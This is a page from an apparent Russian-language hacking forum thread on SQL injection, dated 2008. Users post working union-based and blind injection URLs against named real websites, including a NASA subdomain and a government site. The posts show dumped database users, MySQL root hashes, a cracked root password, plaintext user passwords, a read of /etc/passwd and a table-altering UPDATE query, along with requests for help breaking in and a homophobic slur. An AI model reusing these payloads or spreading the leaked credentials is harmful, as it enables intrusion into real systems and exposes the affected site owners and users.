SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 245 of 798
  1. 1NtR0

    1NtR0 Elder - Старейшина

    Joined:
    14 Apr 2007
    Messages:
    235
    Likes Received:
    89
    Reputations:
    35
    www.spelbord.nl

    Code:
    http://www.spelbord.nl/categorie.php?cat=-17+union+select+1,2,user(),4,5,6,7,8,9/*
    user() - spelbo00_spel@localhos
    database() - spelbo00_spel
    version() - 4.1.20-standard
     
    #4881 1NtR0, 24 Feb 2008
  2. Cr@zy_King

    Cr@zy_King Member

    Joined:
    12 Sep 2007
    Messages:
    8
    Likes Received:
    8
    Reputations:
    -5
    good .

    https://msfcsma3.msfc.nasa.gov/dbwebs/apps/igc/help.php?id=-1'

    Table : ichty_help

    Colunm : Title

    Update : https://msfcsma3.msfc.nasa.gov/dbwebs/apps/igc/help.php?id=1+update+ichty_help+set+title='Text';--

    Good.
     
    #4882 Cr@zy_King, 24 Feb 2008
    1 person likes this.
  3. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Господа, кому нужна хоумпага рекомендую-Разработчики веб-сайтов:
    --------------------------------------
    "NT-Design" Москва
    _http://www.ntdesign.ru/newsit.php?id=-58+union+select+1,version(),3,user(),database()/*&curr=1

    5.0.24a-community-nt-log
    sintde1gb_
    [email protected]
    ---------------------------------------
    "WEB outsourcing" Москва

    _http://www.wos.ru/rus/about/news/show.php?id=-4+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat(user(),char(58),database(),char(58),@@version),0x71),0x71)/*

    [email protected]:wwwwosru:4.1.22
    ----------------------------------------
    И ПЕРВОЕ МЕСТО:
    "АТИКС" Екатеринбург

    Никаких фильтров:
    _http://www.atiks.org/index.php?news_id=-99+union+select+1,2,version(),user(),5,6,7/*

    Работа под рутом:
    5.0.20a-nt-log
    root@localhost

    _http://www.atiks.org/index.php?news_id=-99+union+select+1,2,user,password,5,6,7+from+mysql.user/*

    И гвоздь программы суперсложный пароль:
    root
    19fc91902bb86674=adidas

    В списке клиентов 74 компании(копаться не стал, даже не интересно)
     
    #4883 Kakoytoxaker, 24 Feb 2008
    1 person likes this.
  4. gavs

    gavs New Member

    Joined:
    8 Jun 2006
    Messages:
    14
    Likes Received:
    2
    Reputations:
    0
    а шел залить случайно не получилось? :)
     
    #4884 gavs, 25 Feb 2008
  5. H2MMER

    H2MMER New Member

    Joined:
    18 Feb 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Помогите сломать сайт пидоров:
    http://www.gaycentral.ru/news/?id=-30+union+select+1,database(),3,user(),VERSION(),6,7,8,9,10,11/*
     
    #4885 H2MMER, 25 Feb 2008
    1 person likes this.
  6. vp$

    vp$ Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    65
    Likes Received:
    68
    Reputations:
    19
    ultras.kiev.ua
    Code:
    [COLOR=Gray]http://ultras.kiev.ua/index.php?id=-1+union+select+1,2,3,4,version(),6+from+ibf_members_converge/*[/COLOR]
    4.0.27
    Code:
    [COLOR=Gray]http://ultras.kiev.ua/index.php?id=-1+union+select+1,2,concat_ws(0x3a,converge_email,converge_pass_hash,converge_pass_salt),4,5,6+from+ibf_members_converge/*[/COLOR]
    [email protected]:42a14a7951758678e3caf18fbec7f1de:v62We мыло:хэш:соль
    Code:
    [COLOR=Gray]http://ultras.kiev.ua/index.php?id=-1+union+select+1,2,count(converge_email),4,5,6+from+ibf_members_converge/*[/COLOR]
    135 юзеров
     
    #4886 vp$, 25 Feb 2008
    3 people like this.
  7. Климент_Ворошилов

    Климент_Ворошилов Member

    Joined:
    8 Dec 2007
    Messages:
    21
    Likes Received:
    10
    Reputations:
    0
    Сайт Торпедо Усть-Каменогорска.

    _http://www.ustinka.com/news.php?id_news=187
    _http://www.ustinka.com/news.php?id_news=187+order+by+7
    _http://www.ustinka.com/news.php?id_news=-187+union+select+1,2,3,4,5,6,7
    _http://www.ustinka.com/news.php?id_news=-187+union+select+1,2,3,database(),user(),version(),7
    4.1.22-standard-log
    ustinka_main@localhost
    ustinka_main20060924
    _http://www.ustinka.com/news.php?id_news=-187+union+select+1,2,3,database(),user(),version(),7+from+user
    _http://www.ustinka.com/news.php?id_news=-187+union+select+1,2,3,4,concat(pass,char(58),name),6,7+from+user

    Тима:uk
    Евгений:tevb7
    test:test
    Саня:GsV
    Алексей:sdfret5
    Roman Kashcheyev:6ez3zb
    Слава:kh91b
    :r59f4
    Алексей:ssdwqa
    Sergei Kvitkin:gsreh3
    Юрий Пигарев:25z23d
    Петр:j37h
    Тим:lskjue
    Марат:prudzm
    :dbahn
    :755773
    :amina3.5
    :477554
    Форумную таблицу найти не смог.
     
    #4887 Климент_Ворошилов, 25 Feb 2008
    Last edited: 25 Feb 2008
    2 people like this.
  8. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25

    Сорь за оффтоп,а

    6c7be71afc1a971cdc69e575fca701ec:02

    тоже соль?:РРРРРР
     
    #4888 Велемир, 25 Feb 2008
    1 person likes this.
  9. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    ekran.biz
    pr=4/10
    тиц=80

    http://www.ekran.biz/index.php?oid=7'+/*!40024+and+ascii(lower(substring(version(),1,1)))>51*//*
     
    #4889 AFoST, 25 Feb 2008
    Last edited: 25 Feb 2008
  10. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Хотите виллу!?
    www.azurvilla.nl
    pr=3/10
    http://www.azurvilla.nl/french_real_estate_agent_france/index.php?oid=-1+union+select+convert(concat(user(),0x20,database(),0x20,version())+using+latin1),2,3,4/*
     
    #4890 AFoST, 25 Feb 2008
    Last edited: 25 Feb 2008
    1 person likes this.
  11. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    "Помощь в продвижении сайтов. О Вас узнают все."
    seoproduction.com
    pr=1/10
    http://www.seoproduction.com/index.php?pr=1&id=1+and+ascii(lower(substring(version(),1,1)))>51+/*&page=-1
    http://www.seoproduction.com/index.php?pr=1&id=-1+union+select+1+/*&page=-1 --не выводится :-(
     
    #4891 AFoST, 25 Feb 2008
    Last edited: 25 Feb 2008
    2 people like this.
  12. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    www.rabota2000.com.ua
    5ая ветка мускуля + пару вкусностей...
    Code:
    http://www.rabota2000.com.ua/vacancyview.php?n=-656334 UNION SELECT 1,2,CONCAT_WS(0x203A20,Host,User,Password,File_priv),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 FROM mysql.user/*
    localhost : root : 60be6b990356d82f : Y
    178612.ds.nac.net : root : : Y
    178612.ds.nac.net : : : N
    localhost : : : N

    Code:
    http://www.rabota2000.com.ua/vacancyview.php?n=-656334 UNION SELECT 1,2,LOAD_FILE(0x2F6574632F706173737764),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*
    /etc/passwd



    www.priem.tsure.ru
    Code:
    http://www.priem.tsure.ru/?section=profession&click=1&div=-1) UNION SELECT 1,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),3,4-- fff
    4.1.22 : priem@localhost : priem


    www.comodoro.gov.ar
    Code:
    http://www.comodoro.gov.ar/nodo.php?seccion=6&nodo=-102' UNION SELECT 1,CONCAT_WS(' : ',VERSION(),USER(),DATABASE()),3,4,5,6,7/*
    5.0.22 : [email protected] : com_contenido
     
    #4892 Dr.Z3r0, 25 Feb 2008
    Last edited: 31 May 2011
  13. samarin

    samarin Elder - Старейшина

    Joined:
    24 Feb 2008
    Messages:
    136
    Likes Received:
    31
    Reputations:
    1
    http://art.dn.ua/news_one.php?news_id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*
    ----------------------------------------
    citysite
    4.0.16
    [email protected]
    ----------------------------------------
    таьлицы не нашел. Кто найдет-отпишитесь
     
    #4893 samarin, 26 Feb 2008
  14. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    http://www.ezytrip.com/webboard/show.php?id=-297+union+select+1,DATABASE()/* - ezytrip_1
    http://www.ezytrip.com/webboard/show.php?id=-297+union+select+1,version()/*- 5.0.37-standard
    http://www.ezytrip.com/webboard/show.php?id=-297+union+select+1,COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+limit+1+offset+1/*-DEFAULT_COLLATE_NAME
    http://www.ezytrip.com/webboard/show.php?id=-297+union+select+1,TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1/*- COLLATIONS
    http://www.ezytrip.com/webboard/show.php?id=-297+union+select+1,user()/* - ezytrip_b@localhost



    http://belexpocentr.ru/show.php?id=-89+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,database(),user()/*

    version-- 5.0.44
    database --www_belexpocentr_ru
    user -- belexpocentr@localhost
     
    #4894 neon_fx, 26 Feb 2008
    Last edited: 26 Feb 2008
  15. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    _http://www.job4good.com/jobfind.php?action=search&cmdSearch=%20%20Search%20%20&jids[]=00&kwd=&lids[]=-500+union+select+version()/*
     
    #4895 pop_korn, 26 Feb 2008
  16. m0use

    m0use Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    55
    Likes Received:
    8
    Reputations:
    0
    http://eng.sistema-hals.ru/main.phtml?pid=3&addpid=-12'+union+select+concat_ws(0x3a,name,password%20%20%20)+from+users/*&nid=706&special=news
    никак не могу в админку зайти
     
    #4896 m0use, 26 Feb 2008
  17. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    мммммдаааааа
    прикольная штука:
    Система управления сайтом
    Hacker? He-he :)     :p



    Ребята подксажите как узнать низвания таблиц ну и все остальное ПЛИЗ
    вот линк
    _http://www.umpcportal.com/products/product.php?id=-162+union+select+user(),database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,version(),25,26,27,282,9,30,31,32,33,34,35,36,37/*
     
    #4897 neon_fx, 26 Feb 2008
    Last edited: 26 Feb 2008
  18. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    http://www.atempo.com.tr/index.php?id=-442+union+select+1,user(),3,database(),5,6,7/*
    user=atempoc_aboo@localhost
    database=atempoc_atempo
    varsion=4.0.26-log
     
    #4898 neon_fx, 26 Feb 2008
    Last edited: 26 Feb 2008
  19. wol4ara2

    wol4ara2 New Member

    Joined:
    6 Feb 2008
    Messages:
    4
    Likes Received:
    4
    Reputations:
    -10
    http://fifa08.in/?site=1'
    http://fifa08.in/index.php?site=1'
    http://fifa08.in/printview.php?board=3&topic=1'
    http://fifa08.in/index.php?site=gallery&picID=1'
    http://fifa08.in/index.php?site=forum_topic&topic=1'&page=1&sort=&type=DESC

    POST'om
    POST /comments.php HTTP/1.1
    Host: fifa08.in
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 98

    name=1&mail=1&url=1&captcha=1&captcha_hash='&referer=1&parentID=1&type=1&ip=1&savevisitorcomment=1


    POST /index.php?site=register HTTP/1.1
    Host: fifa08.in
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 74

    nickname=1&username=1&pwd1=1&pwd2=1&mail=1&captcha=1&captcha_hash='&save=1

    Скажите как вытянуть отсюда что-нибудь!!!!???
     
    #4899 wol4ara2, 26 Feb 2008
    3 people like this.
  20. neon_fx

    neon_fx Elder - Старейшина

    Joined:
    22 Feb 2008
    Messages:
    74
    Likes Received:
    32
    Reputations:
    0
    http://www.6seconds.org/cert/show.php?ID=-68+union+select+1,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,database(),22,23,24,25,26,27,28,version(),30,31,32,33,34,35,36,37,38,39/*

    6cert@localhost 6
    certlist
    5.0.45-community
     
    #4900 neon_fx, 26 Feb 2008
    1 person likes this.
(You must log in or sign up to post here.)
Page 245 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.